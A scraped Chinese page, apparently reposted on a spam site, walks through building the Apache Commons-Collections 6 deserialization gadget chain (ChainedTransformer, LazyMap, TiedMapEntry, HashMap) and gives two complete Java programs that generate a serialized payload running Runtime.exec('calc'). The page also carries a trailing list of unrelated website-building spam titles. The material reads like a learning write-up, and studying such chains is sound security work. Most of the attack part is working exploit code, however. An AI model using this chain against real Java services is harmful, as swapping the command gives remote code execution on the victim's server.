当前位置: 首页 > news >正文

如何推广网站最有效o2o商业模式

如何推广网站最有效,o2o商业模式,网页制作自学教程视频,龙华、宝安最新通告前面和CC1一样 优点是不限制jdk版本和cc的版本 先开一个ChainedTransformer 然后创LazyMap 我们顺便执行一下避免上面写错 能弹计算器 没问题 后面就是CC6不同的地方了 我们需要一个TiedMapEntry 因为需要一个类调用了get方法 在TiedMapEntry的getValue()方法中调用了get()…

前面和CC1一样
优点是不限制jdk版本和cc的版本

先开一个ChainedTransformer
在这里插入图片描述
然后创LazyMap 我们顺便执行一下避免上面写错
在这里插入图片描述
能弹计算器 没问题
后面就是CC6不同的地方了

我们需要一个TiedMapEntry
因为需要一个类调用了get方法
TiedMapEntrygetValue()方法中调用了get() 其中mapkey都可控
在这里插入图片描述
在这里插入图片描述
那么我们就需要一个类调用getValue方法 TiedMapEntry的hashCode方法就可以
在这里插入图片描述

然后类似URLDNS的链子 我们可以知道这里可以用HashMap连上
HashMapreadObject方法会调用hashCode
在这里插入图片描述
在这里插入图片描述
至此链子结束 我们可以写出如下代码

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"xxx");Map map2 = new HashMap();map2.put(tiedMapEntry,"ccc");serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}

尝试执行 发现确实能弹计算器
但是这里存在和URLDNS一样的问题 , 就是这个计算器弹的时机是在map2.put的时候
而不是我们期望的反序列化的时候

原因是HashMap在put的时候已经给整条链走完了
在这里插入图片描述
在这里插入图片描述
因为这里的key != null 所以继续进了hashCode
在这里插入图片描述
LazyMap调用get
在这里插入图片描述
然后没有key put进去了 在后面反序列化的时候就有key
key就直接return map.get(key)

为了避免这种情况 我们需要 让最开始传入的东西不能形成链子 就是说改LazyMap 改 TiedMapEntry 之类的的都行,只要不在反序列化前弹计算器就行
然后要记得给put进来的key remove掉
于是最终代码如下

package org.example.CC6;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class Main {public static   void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");Map map2 = new HashMap();map2.put(tiedMapEntry, "ccc");lazyMap.remove("xxx");Field field = LazyMap.class.getDeclaredField("factory");field.setAccessible(true);field.set(lazyMap, chainedTransformer);serialize(map2);unSerialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerialize(String path) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}
http://www.15wanjia.com/news/192527.html

相关文章:

  • 做属于公司的网站有什么好处网页制作与设计发展现状
  • 17网站一起做网店河北关闭微信小程序入口
  • 盐城市住房城乡建设网站唐山网站设计制作
  • 做网站赚多少建设工程行业招工信息网站
  • 哪个网站做浏览器主页好物联网技术有哪些
  • 兰州做网站的公司网站右侧浮动导航
  • 三门峡做网站的公司wordpress opendir
  • 网站建设找朝云科技济南建站联系企汇优
  • 怎么做微信电影网站wordpress主题柚子皮zip
  • 五一劳动节网页设计素材新网$网站优化
  • 公司个人怎么制作网站storyset自定义插画网站
  • 天河区门户网站教育局零基础怎么学网页设计
  • 平台网站建设可行报告域名抢注网站是怎么
  • 网站建设计入什么会计科目厦门高端网站建设公
  • 佛山网站建设与设计公司wordpress 好用的插件推荐
  • 个人微信注册网站wordpress admin-ajax.php
  • 重庆建设厅的网站首页前端开发工程师是什么专业
  • 兰州建设网站关键词com
  • 网站app怎么做的中铁建设中南公司官方网站
  • 自己做的网站怎么发到网上wordpress自动加内链
  • 宁晋企业做网站哈尔滨信息网
  • 重庆无障碍网站建设开发和研发的区别
  • 网站建设费用明细丹东市做网站
  • 电子商务网站建设理论依据网站如何做seo排名
  • tornado网站开发外管局网站先支后收怎么做报告
  • 雄安网站设计制作中山市网站开发外包公司
  • 墙绘做网站推广有作用没无上光东莞网站
  • 北京网站网站建设线上教育平台推广怎么做
  • 网络公司网站 优帮云济南能源建设网站
  • 定制网站要多少钱做编程网站有哪些